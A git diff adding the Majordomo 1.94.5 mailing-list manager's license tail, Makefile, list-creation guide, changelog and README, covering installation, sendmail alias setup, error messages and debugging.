provisions hereof. You may terminate it at +any time by destroying Majordomo and its associated documentation. + + 7. GENERAL. + + a. This Agreement shall be governed by the laws of + the State of California. + + b. Address all correspondence regarding this license + to GCA's electronic mail address + , or to + + Great Circle Associates + 1057 West Dana Street + Mountain View, CA 94041 + USA + +[ Note: the form of this license was derived, by permission, from the license +for the Firewalls Toolkit distributed by Trusted Information Systems, Inc. ] diff --git a/update/scripts/packages/majordomo-1.94.5/Makefile b/update/scripts/packages/majordomo-1.94.5/Makefile new file mode 100644 index 0000000..90f9c15 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Makefile @@ -0,0 +1,237 @@ + +#$Modified: Tue Jan 18 14:58:24 2000 by cwilson $ +# +# $Source: /sources/cvsrepos/majordomo/Makefile,v $ +# $Revision: 1.64 $ +# $Date: 2000/01/18 14:01:17 $ +# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.64 2000/01/18 14:01:17 cwilson Exp $ +# + +# This is the Makefile for Majordomo. +# +#------------- Configure these items ----------------# +# + +# Put the location of your Perl binary here: +PERL = /usr/bin/perl + +# What do you call your C compiler? +CC = cc + +# Where do you want Majordomo to be installed? This CANNOT be the +# current directory (where you unpacked the distribution) +W_HOME = /etc/virtual/majordomo + +# Where do you want man pages to be installed? +MAN = $(W_HOME)/man + +# You need to have or create a user and group which majordomo will run as. +# Enter the numeric UID and GID (not their names!) here: +W_USER = 987 +W_GROUP = 2 + +# These set the permissions for all installed files and executables (except +# the wrapper), respectively. Some sites may wish to make these more +# lenient, or more restrictive. +FILE_MODE = 644 +EXEC_MODE = 755 +HOME_MODE = 751 + +# If your system is POSIX (e.g. Sun Solaris, SGI Irix 5 and 6, Dec Ultrix MIPS, +# BSDI or other 4.4-based BSD, Linux) use the following four lines. Do not +# change these values! +WRAPPER_OWNER = root +WRAPPER_GROUP = $(W_GROUP) +WRAPPER_MODE = 4755 +POSIX = -DPOSIX_UID=$(W_USER) -DPOSIX_GID=$(W_GROUP) +# Otherwise, if your system is NOT POSIX (e.g. SunOS 4.x, SGI Irix 4, +# HP DomainOS) then comment out the above four lines and uncomment +# the following four lines. +# WRAPPER_OWNER = $(W_USER) +# WRAPPER_GROUP = $(W_GROUP) +# WRAPPER_MODE = 6755 +# POSIX = + +# Define this if the majordomo programs should *also* be run in the same +# group as your MTA, usually sendmail. This is rarely needed, but some +# MTAs require certain group memberships before allowing the message sender +# to be set arbitrarily. +# MAIL_GID = numeric_gid_of_MTA + +# This is the environment that (along with LOGNAME and USER inherited from the +# parent process, and without the leading "W_" in the variable names) gets +# passed to processes run by "wrapper" +W_SHELL = /bin/sh +W_PATH = /bin:/usr/bin:/usr/ucb +W_MAJORDOMO_CF = $(W_HOME)/majordomo.cf + +# A directory for temp files.. +TMPDIR = /tmp + +#--------YOU SHOULDN'T HAVE TO CHANGE ANYTHING BELOW THIS LINE.------------- + +VERSION = 1.94.5 + +# For those stupid machines that try to use csh. Doh! +SHELL = /bin/sh + +WRAPPER_FLAGS = -DBIN=\"$(W_HOME)\" -DPATH=\"PATH=$(W_PATH)\" \ + -DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \ + -DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CF)\" \ + $(POSIX) + +INSTALL = ./install.sh + +TMP = $(TMPDIR)/mj-install-$(VERSION) + +TOOLS = archive.pl archive_mh.pl \ + digest.send makeindex.pl \ + logsummary.pl new-list sequencer + +BINBIN = approve bounce medit + +BIN = bounce-remind config_parse.pl majordomo majordomo.pl \ + majordomo_version.pl request-answer resend \ + shlock.pl config-test archive2.pl digest + +INSTALL_FLAGS = -O $(W_USER) -g $(W_GROUP) + +default: + @echo "make what?" + @echo " install: installs everything." + @echo " install-wrapper: only install wrapper." + @echo " install-scripts: only install the scripts." + @echo " wrapper: only make wrapper." + +install: wrapper install-scripts install-cf install-man + @echo "" + @echo "To finish the installation, 'su' to root and type:" + @echo "" + @echo " make install-wrapper" + @echo "" + @echo "If not installing the wrapper, type" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + @echo "" + @echo "(no 'su' necessary) to verify the installation." + + +install-wrapper: wrapper + $(INSTALL) -o $(WRAPPER_OWNER) -g $(WRAPPER_GROUP) \ + -m $(WRAPPER_MODE) wrapper $(W_HOME)/wrapper + @echo "" + @echo "To verify that all the permissions and etc are correct," + @echo "run the command" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + +# fix where perl lives. +# Create a tmp directory to stuff all the files in, so we +# don't go blithly changing the master copies of stuff. +# +config-scripts: + @echo "Testing for perl ($(PERL))..." + @test -f $(PERL) -a -x $(PERL) || \ + { echo "You didn't correctly tell me where Perl is."; exit 1; } + @rm -rf $(TMP); mkdir $(TMP) + @echo "Configuring scripts..." + @for file in $(TOOLS); do \ + cp contrib/$$file $(TMP) ; \ + done + @cp $(BINBIN) $(BIN) $(TMP) + @cd $(TMP); $(PERL) -p -i -e 's@^#!\S+perl.*@#!$(PERL)@' $(TOOLS) $(BINBIN) $(BIN) + + +install-scripts: config-scripts + $(INSTALL) -m $(HOME_MODE) $(INSTALL_FLAGS) . $(W_HOME) + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/bin + + @echo "Copying tools to $(W_HOME)/bin" + + @for file in $(BINBIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/bin/$$file; \ + done + + @echo "Copying Majordomo files to $(W_HOME)" + + @for file in $(BIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/$$file; \ + done + + @echo "Copying archiving and other tools to $(W_HOME)/Tools" + + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/Tools + + @for file in $(TOOLS); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/Tools/$$file; \ + done + + @rm -rf $(TMP) + +# the install.cf target will install the sample config file in the proper +# place unless a majordomo.cf file exists, in which case the majordomo.cf +# file will be used. It won't overwrite an existing majordomo.cf file. In +# all cases, the sample.cf file must be installed so that config-test will +# be able to check for new variables. +install-cf: + @if [ ! -f $(W_HOME)/majordomo.cf ]; \ + then \ + if [ -f majordomo.cf ]; \ + then \ + echo "Using majordomo.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + majordomo.cf $(W_HOME)/majordomo.cf; \ + else \ + echo "Using sample.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME)/majordomo.cf; \ + fi; \ + else \ + echo "Using installed majordomo.cf"; \ + fi; + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME) + +install-man: + @echo "Installing manual pages in $(MAN)" + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN) + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man1 + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/approve.1 $(MAN)/man1/approve.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/digest.1 $(MAN)/man1/digest.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce.1 $(MAN)/man1/bounce.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/majordomo.8 $(MAN)/man8/majordomo.8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + +wrapper: wrapper.c + $(CC) $(WRAPPER_FLAGS) -o wrapper wrapper.c + +clean: + rm -f wrapper *~ + +dist-clean: clean + rm -f majordomo.cf .cvsignore todo.local .dcl archive + rm -rf regress Doc/samples Tools + +distribution: dist-clean + mkdir majordomo-$(VERSION) + mv * .??* majordomo-$(VERSION) || exit 0 + rm -rf majordomo-$(VERSION)/CVS majordomo-$(VERSION)/*/CVS \ + majordomo-$(VERSION)/*/*/CVS + tar -cvf majordomo-$(VERSION).tar.Z\ + majordomo-$(VERSION) diff --git a/update/scripts/packages/majordomo-1.94.5/NEWLIST b/update/scripts/packages/majordomo-1.94.5/NEWLIST new file mode 100644 index 0000000..89b4aa2 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/NEWLIST @@ -0,0 +1,138 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.4 + NEWLIST + -------------------------------------------------------------------------- + +List names must be of the form "[a-z0-9_-]+" (in other words, letters, +digits, underbars, or dashes only). List may be of mixed or upper +case, but all references to the list name below must be specified +in lower case EXCEPT for the -l arguments of resend and majordomo. + +To create a list: + +1) Create an empty file called in $listdir, mode 664. + +2) Create a file called ".info" in $listdir, mode 664, with + the initial introductory info for the list in it. + +3) Create the appropriate entries for the list in your Sendmail + aliases file (/etc/aliases or a separate majordomo.aliases file.) + + Each list requires several aliases. For an example list called + 'test', these aliases are required: + + test The list alias itself + owner-test The owner of the list (who should get bounces) + test-request The address for administrative requests. + test-approval The person who approves postings to the list + (for moderated lists as well as unmoderated ones) + + These would look like this: + + test: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-request: "|/usr/test/majordomo-1.94.3/wrapper request-answer test" + test-approval: you + + It's more likely that the outgoing messages to the list will be + passed through "resend" to catch Majordomo commands, as well as + give other useful features. A typical set of aliases without anything + fancy, such as archiving or digesting, would look like this: + + test: "|/usr/test/majordomo-1.94.3/wrapper resend -l test test-list" + test-list: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-owner: you + test-request: "|/usr/test/majordomo-1.94.3/wrapper majordomo -l test" + + Finally, a more complete set of aliases that provides digestification, + archiving, and header manipulation would look like: + + test:"|/tools/majordomo/wrapper resend -l test -h cs.umb.edu test-outgoing" + test-digest:test + + # I put the digest and archive programs on the outgoing list so that + # messages bounced by resend don't end up in the digest or archive + # unless I send them through resend explicitly. + test-outgoing: :include:/usr/local/Lists/test, + "| /tools/majordomo/wrapper digest -r -C -l test-digest test-digest-outgoing", + "| /tools/majordomo/wrapper archive2.pl -a -m + -f /usr/local/mail/archive/test/test.archive" + # archive produces a monthly archive with the -m flag. + + test-digest-outgoing::include:/usr/local/Lists/test-digest + + owner-test:you, + owner-test-outgoing:owner-test + + # note that the "-digest" and "-digest-outgoing" suffixes + # are required to allow the majordomo mkdigest command, and the + # config code to work properly. + owner-test-digest:owner-test + owner-test-digest-outgoing:owner-test + + test-request: "|/tools/majordomo/wrapper request-answer test" + test-digest-request: "|/tools/majordomo/wrapper request-answer test-digest" + + test-approval:you, + test-digest-approval:test-approval + + As you can see, setting up a list can be quite complex. + + You can run majordomo at the -request address (recommended), and it will + handle requests such as: + + subscribe + unsubscribe + signoff + + without requiring the user to supply a list name. To do this set up an + alias similar to: + + test-request: "|/tools/majordomo/wrapper majordomo -l test" + + Where the argument to -l is the name of the list. + + Hopefully in a future release of majordomo archive2.pl will be + integrated into majordomo so that the frequency of archive rollover + (daily, monthly, yearly) will be controllable via the config file + mechanism. + + ***** NOTE: CONVERTING FROM A PREVIOUS MAJORDOMO VERSION ***** + For those who are converting from an earlier version of + majordomo, note that resend has very few command line + arguments. If you don't strip the command line arguments from resend, + the comments in the configuration file that deal with default + values for resend will be incorrect. + + + More examples of alias setups can be found in the file majordomo.aliases. + For sendmail users, don't forget to run 'newaliases' to rebuild the + alias database. + + +4) If the list will be archived, create an archive directory in the + location specified by the $filedir and $filedir_suffix variables. + +5) If the list has a digest, create a digest work (incoming) subdirectory + under $digest_work_dir. Use the same name as the digest list (example: + test-digest). You also must create an archive directory for the digest + list as explained in step 4. + +6) Finally, make sure everything is owned by user majordomo, group + majordomo, and writable by both owner and group (i.e., mode 664 for + files and mode 775 for directories). + +7) Now issue a 'config .admin' command to + Majordomo. This will cause it to create a default configuration + file for the list, and send it back to you. Make any desired + changes, SUCH AS CHANGING THE DEFAULT PASSWORDS, as well as adding + a description, and send it back with the 'newconfig' command. + + +Now send a test subscribe and unsubscribe, just to further verify that +the list is working. + diff --git a/update/scripts/packages/majordomo-1.94.5/NEWS b/update/scripts/packages/majordomo-1.94.5/NEWS new file mode 100644 index 0000000..23f3724 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/NEWS @@ -0,0 +1,148 @@ +Changes from 1.94.4 to 1.94.5 + +A straightforward patch release, 99% from the collected +1.94.4 patches: + +o digest_rm_fronter and digest_rm_footer now work. +o unsubcribe_policy now has +confirm feature +o More hostile address checking +o archive2.pl makes archives world readable. +o bounce had an innocuous y2k bug, and wanted a 'bounces' list password even + when called as unsub +o better description of the moderator function. +o Fixes 'restrict_post = #!$list' substitution and blank lines + in config files +o Better error reporting when majordomo.cf is wrong. +o Detects some attachments sent as commands +o Approve commands can span lines now. +o resend has better messages for taboo_headers problems +o fixed: header corruption when Subject: is blank and subject tags are used. + +========================================================================================= +archive2.pl.0 () Ensures archives are world readable. +bounce.0 () Bounce script and unsub. +config_parse.pl.1 () Another trivial 1.94.4 patch: moderator +config_parse.pl.2 (B) Fixes 'restrict_post = #!$list' substitution +config_parse.pl.5 (F) Fixes failing to accept newconfig... (cleaned) +config_parse.pl.6 (B) Fixes bug when several consecutive blank lines + or a trailing blank line appear in a string array +digest-config_parse.pl.1 (F) Adds the functionality promised by digest_rm_fronter +majordomo-config.1 (F) +config patches for unsubscribe_policy +majordomo.0b (B+) Fixes some error messages and minor bugs related to + aliasing -request to invoking majordomo with -l +majordomo.1 (F) PATCH: no attachments (was Re: Strange stuff) +majordomo.3 () A minor little patch that cleans up newinfo/newintro +majordomo.6 (F) Patch for APPROVE linewraps +majordomo.7 () Work-around for Perl 5.005 problem +majordomo.pl.1 (S+) Fixes security hole with :include:syslog (untested) +request-answer.0 () Request-answer should not reply to mailer-daemon et al +resend.2 (F) A nice patch for debugging taboo_headers +resend.5 (B++) Fixes header corruption when Subject: is + blank and subject tags are used +resend.8 () More headers for the skip headers string +resend_parse.1 () Corrected PATCH: moderator behavior + + + + +Changes from 1.94.3 to 1.94.4 + +o Security fix for advertise/noadvertise eval hole. +o Security fix for wrapper env overrun +o Fixed race condition in unsubscribing, config lock not being freed, + EOF tests fail due to bad assumptions +o mungedomain wasn't working properly +o fixes to commented-out sample.cf code. +o archive2.pl now has -D -M -Y arguments for 4 digit years. +o added "welcome" and "announcments" keywords. +o Digest fixes for -C + + +Changes from 1.94.2 to 1.94.3: + +o removed wrapper since it snuck into the tarball +o fixed medit. + +Changes from 1.94.1 to 1.94.2: + +o More documentation fixes. +o increased checking in regexps +o better locking +o ignore directories in the list directory. +o resend doesn't abort if the sendmail error is EX_NOUSER + + +Changes from 1.94 to 1.94.1 + +Improved Installation: + +The installation process has been improved. The Makefile is now simpler +and makes use of an external "install" program (included as install.sh). + +The permissions for all installed files can be easily set in the Makefile. +In addition, the default permission for $homedir has been made slightly +more lenient, to avoid problems with the mailer not being able to execute +the wrapper. + +The installation checker, config-test, has been improved with more checks +and better detection of situations where it's being run improperly. It +will automatically warn of new configuration variables that should be set +in majordomo.cf. + +The digest and archive2.pl programs have been moved from the Tools +directory to the main directory since they are usually run by the wrapper +and must be there anyway. + + +Changes visible to the Majordomo owner: + +The default $sendmail_command now includes the -oee option to force +sendmail to mail as many errors as possible instead of exiting with nonzero +exit code at unpredictable times. + +Code is provided in majordomo.cf to prevent majordomo, resend and the +tools from running when the system load average exceeds a configurable +limit. This code is disabled by default. It requires the standard +"uptime" command. + +The default umask for all majordomo-created files is now set in +majordomo.cf, and defaults to 007. + +The variable $shlock'retries has been renamed to $shlock'waittime to better +match its actual meaning as the maximum time (in seconds) that the locking +system will wait for a lock. + +A new variable, $majordomo_dont_reply, has been added. Majordomo will not +respond to any piece of mail sent from an address matching this regular +expression. It defaults to '(mailer-daemon|uucp|listserv|majordomo)\@'. + +The locking system has been improved and should have much greater +resistance to looping and otherwise uncontrolled behavior in the face of +improperly set permissions and nonexistent files. + +Many bugs relating to an improperly set $bounce_mailer have been fixed. +This should end the abort messages complaining about null mailers not being +executable. + + +Changes visible to list owners: + +If a list adds its own Reply-To: header, any Reply-To: header in +incoming messages will be removed. + + +Changes visible to end users: + +Requests for confirmation have been made more detailed, and the backslash +syntax for splitting long lines has been explained in those messages. + +Confirmation messages sent by the "subscribe" command have been +improved. They contain more reasons why a confirmation request +may not be received. + + +Many more checks for illegal addresses have been included. Users are +informed when they supply only their name or otherwise supply a nonsense +address. + +The response to the who command includes a subscriber count. diff --git a/update/scripts/packages/majordomo-1.94.5/README b/update/scripts/packages/majordomo-1.94.5/README new file mode 100644 index 0000000..ded2af3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/README @@ -0,0 +1,569 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Majordomo, noun: a person who speaks, makes + arrangements, or takes charge for another. From + Italian maggiordomo or Spanish mayordomo, both from + Medieval Latin "major domus" - "chief of the house". + (Barnhart Concise Dictionary of Etymology) + + Release 1.94.5 + README +-------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <- +-> read the NEWS file for details on what has changed between <- +-> this and the previous version of Majordomo. <- + + Release 1.94.5 of Majordomo is primarily a security and bugfix + release, incorporating changes which fix problems or correct + pressing deficiencies in version 1.94.4. Please read the + NEWS file for changes between versions 1.94.4 and 1.94.5 + + * * * * * * * * * * * * * * + +If you know what Majordomo is and simply want install it, read the +INSTALL file. Browse through this file, though; there's probably +something new here. + + * * * * * * * * * * * * * * + +-------------------- +* What is Majordomo? +-------------------- +From the fine Majordomo FAQ (found in Doc/FAQ), maintained by Dave Barr + : + + Majordomo is a program which automates the management of Internet + mailing lists. Commands are sent to Majordomo via electronic mail to + handle all aspects of list maintenance. Once a list is set up, + virtually all operations can be performed remotely, requiring no + intervention upon the postmaster of the list site. + + Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, + editable remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + +Majordomo is a "groupware" project. It has evolved from the initial +code base done by Brent Chapman (brent@greatcircle.com), with further +maintenance done by John Rouillard (rouilj@cs.umb.edu). The current +Majordomo maintainer is Chan Wilson (cwilson@sgi.com). + +Along the way, it has picked up many features and additions from +various authors. Because of this, and due to the initial design of +Majordomo, certain features (archiving, digesting, and moderated +lists) are currently done in a "non-optimum" fashion. In short, +configuring Majordomo to do some of the advanced features can be +confusing. This is a known problem and is being worked on. + + +You'll need the following to use Majordomo: + + o Perl, version 4.036 or version 5.002 (or better) + **NOTE** Future versions of Majordomo will *NOT* work + with perl4. + o a C compiler + +Other programs that might be useful are: + + o bulk_mailer: ftp://cs.utk.edu/pub/moore/bulk_mailer + For large lists. + + + * * * * * * * * * * * * * * + +The INSTALL file details how to install and configure Majordomo. + +Once you've installed Majordomo, the NEWLIST file describes how to add +new lists under Majordomo control. + + * * * * * * * * * * * * * * + +The rest of this README file fills in background information on +Majordomo, where to get help, find others using Majordomo, common +problems, and some other bits: + + * Attributions + * Mailing Lists/Support + * More Documentation + * The list configuration files + * Common Problems + * Error Messages + * Using Digest and Archive + * Other Programs + * Tricks + * Customizing the default list config values + +-------------- +* Attributions +-------------- + +Majordomo and digest were originally written by Brent Chapman, however +he doesn't have the time currently to do more development on it. John +Rouillard did a lot of work for configuration files and managed the +releases for the 1.62 to 1.93 time frame. Chan Wilson +(cwilson@sgi.com) is currently "release coordinator" for 1.94 and +beyond. + +The FAQ was compiled by Vincent D. Skahan and is currently being +maintained by David Barr . + +In addition to those above, the following people deserve recognition for +their contributions in shaping Majordomo: + + Andrew Boyd + Paul Close + R. Gary Cutbill + Hamilton Gilbert + Jennifer Joy + Alan Millar + John C. Orthoefer + Jerry Peek + Paul Pomes + Jason L Tibbitts III + Dave Wolfe + +To anybody I left off the attributions list, my apologies. Let me know +that I left you off, and I will make sure that you get mention in a +future release. + +----------------------- +* Mailing Lists/Support +----------------------- + +There are four mailing lists about Majordomo on GreatCircle.com. +The wise Majordomo-Owner is strongly advised to subscribe to +Majordomo-Announce to learn of new versions and patches to Majordomo. +This list is very low volume. + +People with questions about configuring, installing, or using +Majordomo should subscribe to Majordomo-Users. + +People interesting in technical discussion of Majordomo, and +developments on it, should join Majordomo-Workers. + + Majordomo-Users - for discussions on using Majordomo + Majordomo-Announce - for announcements of new releases + Majordomo-Workers - for people interested in development of + Majordomo. + Majordomo-Docs - for people interested in development of + documentation for Majordomo. + +To subscribe to any of the lists above, send an appropriate +"subscribe" command to "Majordomo@GreatCircle.COM". + +-------------------- +* More Documentation +-------------------- + +The 'Doc' directory contains the FAQ (Frequently Asked Questions), +which should answer most of your questions. + +In the 'Doc/man' directory, you'll find manual pages for approve, +bounce, bounce-remind, digest, resend, and majordomo. + +For your list-managers, the file Doc/list-owner-info contains some +good information. It can be sent to them and should be enough +information to get them started using majordomo. You'll want to +update it for your site-specific needs. + +'Doc/majordomo.ora' contains the chapter about Majordomo from the +Nutshell Handbook "Managing Internet Information Services," written by +Jerry Peek. The chapter is (c) Copyright 1994 by O'Reilly & +Associates, Inc., and was included in the Majordomo distribution by +permission of the publisher. + +While this chapter is a good introduction to setting up the majordomo +software, it is a tad out of date, since it covers version 1.62. :-( Jerry +is in the process of updating this for 1.94.3, and an updated version will +hopefully be included in future releases. + +The original LISA 6 (Oct 1992, Long Beach, CA) paper describing +Majordomo is at Doc/majordomo.lisa6.ps. PLEASE NOTE that it is useful +only for getting a feel for majordomo. It should not be used as an +installation document. + +You did read the FAQ, didn't you? + + +------------------------------ +* The list configuration files +------------------------------ + +Each list has a configuration file associated with it, +.config. If a list does not have it's .config file, issue a +'lists' command to Majordomo -- it'll create one for you. + +Ideally, the config file is meant to be self-documenting, but at the +moment it can be overwhelming to a novice user. This will be fixed in a +future release. The best way to learn about the configuration file is to +issue a 'config ' to Majordomo, +and carefully read through the results. Also read the +Doc/list-owner-info file, which explains some of the more commonly +tweaked variables. + +In addition to the .config file, there are .info and .intro files that +hold informative and introduction information about the list. These +files are best changed via Majordomo's 'newinfo' and 'newintro' commands. + +The file .intro contains the "intro" text for the list, +which is sent in response to "intro" and successful "subscribe" +commands. The file .info contains the "info" text for the +list, which is sent in response to "info"; it's also sent after a +"subscribe" command if no "intro" file exists. + +In a future version of majordomo, the option will be provided to keep +the info in the config file rather than using an external +file. However, the external file is useful if you are serving up the +info information by some means other than majordomo (e.g. Web, finger, +ftp). + +------------------------------- +* Common Problems and Debugging +------------------------------- +Nearly all the install problems are now caught by the 'config-test' +script that one runs after the install. + +What is left, then, is primarily incorrect usage caused by configuring +the aliases improperly, and changing the ownership of Majordomo files +after it is up and running. If you're still stuck, it's easy to turn +some debugging on. + +If all else fails, the mailing lists mentioned above are a good place +to ask for help. + +** Insecure Usage + +If you get complaints about "insecure usage" from "wrapper", then you're +probably invoking it incorrectly. The first argument to "wrapper" should +be the simple filename of the program in the W_BIN directory (defined in +the Makefile) that you want to run. You should NOT specify the full path +name to the program; as a security measure, to keep people from being able +to run anything they want with the setuid/setgid permissions of "wrapper" +"wrapper" will ONLY run programs from the W_BIN directory. If what "wrapper" +is told to run contains a "/", it assumes somebody is trying to make it run +something from somewhere else, and complains about "insecure usage". For +example, the right way to use wrapper is in something like this: + + majordomo: "|/usr/local/majordomo/wrapper majordomo" + +The WRONG way is "|/usr/local/majordomo/wrapper /usr/local/majordomo/majordomo" + +** Permissions + +Make sure you've got all the permissions right. In particular, you need +to watch for permissions of DIRECTORIES files are in, as well as +permissions on the files themselves. Almost any time Majordomo tries to +read a file, and every time it tries to write one, it tries to create a +lock file in the same directory as the file. If it can't create that +lock file for any reason (because the directory permissions won't allow +it, or because a lock already exists for that file), Majordomo waits +between 1 and 10 seconds (chosen randomly) and then tries again; it keeps +trying for (by default) 5 minutes. If Majordomo isn't working for you, +and takes some multiple of 5 minutes to fail, you've almost certainly +got a permission problem; check the Majordomo log file. If there's +nothing in the log file, then you've got a permission problem with the +log file and/or the directory it's in. + + +---------------- + +** Debugging + +If messages to a particular list are getting mangled, perhaps due to +custom headers, footers, or something else, try defining the 'debug' +variable for the list. This will cause resend (the Majordomo program +that sends the message out to the list) to *not* send the message out, +but leave it in $TMPDIR/resend..out. You can then examine +the message contents. + +If you suspect something deeper is amiss, then put '$DEBUG = 1;' in +your majordomo.cf. This causes Majordomo and resend to spew debug +messages to $TMPDIR/majordomo.debug and $TMPDIR/resend.debug, +respectively, but operate as normally. If you invoke your mailer in +verbose mode ('Mail -v' or 'mail -v' will hopefully do this) then +debug output will get sent to your terminal instead of the files. + +Finally, if you're up to mucking around in the perl code, symlinking +perl into ~majordomo and invoking it via wrapper will give you a debug +environment with Majordomo's permissions and view of the world: + + ~majordomo% ./wrapper perl -d majordomo + +Now set breakpoints, type 'continue', give it a valid email header and +the desired Majordomo command. The only header that you need is a +valid "reply-to" field. The rest is up to you. + +* Error Messages +---------------- +Majordomo now catches most of problems that plagued earlier versions; +disk space shortages, permissions problems, other resource problems. +When at all possible, a comprehensible email is sent to the +Majordomo-Owner, who should be able to fix things. List-specific +problems are usually sent to the list-owner. Before attempting to track +down errors and checking debug logs, be certain that running "wrapper +config-test" as a normal user reports no problems. The config-test code +will detect most common causes of errors. + +Here's most of the error messages that Majordomo will return, and an +explanation of why they might be seen: + +MAJORDOMO ABORT - This error occurs anytime some anomaly occurs during + the majordomo run. It causes majordomo to send an error message to the + majordomo owner, and exit immediately. No further commands in the + input message are processed. Mail is sent to the originator of the + message that caused the abort consisting of the output from all command + in the message that had succeeded before the abort. The types of + errors that cause an abort are shown below. + + Hostile Address -- somebody submitted an address that majordomo deemed + to be a potential security problem. Some mailers will execute any + command line appearing after a vertical bar, and will use addresses + beginning with a dash as an option instead of an address. In + addition, if the addresses matches an existing file, the mailer may + attempt to overwrite it. For these reasons, majordomo will refuse to + process such addresses. Majordomo will do additional checks on + messages containing '/' characters to verify that they are correct + X400 addresses; these checks may be disabled in majordomo.cf. (See + $no_true_x400 and $no_x400at.) + + Non-domained Address -- an address was submitted that was of the form + user@host without a fully qualified domain name. Addresses of this + form are usually caused by either confused users or improperly + configured mail transfer agents. If your host is generating them, it + is misconfigured. + + Can't open/append/read -- for some reason majordomo can't + open/append/read a to a file that it was supposed to be able to + access. Usually this is caused by improper permissions. + + chmod(, link(, operation not permitted -- the corresponding chmod or + link operation failed when it shouldn't have. Usually this is caused + by improper permissions, most often on the wrapper. Make certain + that it is installed setuid, and that "wrapper config-test" run as a + normal user (not root or the majordomo user) reports no problems. + + Can't invoke -- the program majordomo wanted to invoke to send mail + couldn't be invoked. This error is usually only seen when you are + tracing the SMTP connection using /usr/ucb/Mail -v. + + Can't connect to sendmail -- for some reason the attempt to run + sendmail in the function resend_sendmail in the resend program + failed. + + mailer not executable -- either the configured mailer did not exist or + could not be run; make certain that config-test reports that the + mailer is properly accessible. Bugs in previous versions caused + errors of the form "mailer -fMajordomo-Owner not executable." These + bugs should be fixed; please report any occurrences of this type of + error just in case the bugs persist. + + mailer exited unexpectedly with error XX -- it is expected that the + mailer will return a zero exit code upon success, so any nonzero + code is reported as an error. The mail may or may not have been + properly sent to your list. To track down the source of this + error, first inspect the debug logs (see Debugging below) to see + if the mailer emitted any diagnostics. Failing that, consult your + mailer's documentation for the meaning of the exit status, or if you + use Sendmail, consult the chart below for some of the more common + errors: + + 64 - EX_USAGE - Sendmail uses this to indicate a command line usage + error, but it also uses it to report a general error condition. + Some versions of Sendmail do this somewhat unpredictably and for + this reason the '-oee' flag has been added to the default mailer + definitions. This flag should prevent these errors for versions of + Sendmail that support it. + + 67 - EX_NOUSER - The alias that is used to send out list mail (which + is passed as the last argument on resend's command line) does not + exist. Make certain that there are no typographical errors in your + alias file, and that the file has been properly rebuilt. + + 69 through 74, 77 - These are generally serious errors that are + caused by either lack of resources or improper configuration of + Sendmail. You should consult the Sendmail documentation. + +unknown mailer error XX - This can be caused by a number of things all + relating to the wrappers inability to execute the perl script. + This can include: + + the perl script is not executable + the location of the perl program specified with the #! + line is incorrect + the location where the wrapper looks for the perl + scripts is not the location where the scripts are + located. + + The current wrapper doesn't use the standard sendmail error + codes, hence the "unknown mailer error" annotation in the + error message. A future wrapper version will use the + appropriate errors from sysexits.h. + + +-------------------------- +* Using Digest and Archive +-------------------------- + +Digesting and Archiving will be integrated into Majordomo soon. In +the meantime, they require setting up additional aliases and +configuring a few other things. + +For digests, read the README.digest and quick-digest-setup files in the +Doc subdirectory, as well as the manual page in Doc/man + +For archiving, there are three archive programs available. The best one +to use is called archive2.pl, and it is present in the main Majordomo +directory. (If you'd like to use one of the other archivers, be sure to +move it to, or make a link to it in, the main directory.) Comments at +the top of the file explain all the options available, and here's a brief +extract that details what most people want: + +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# 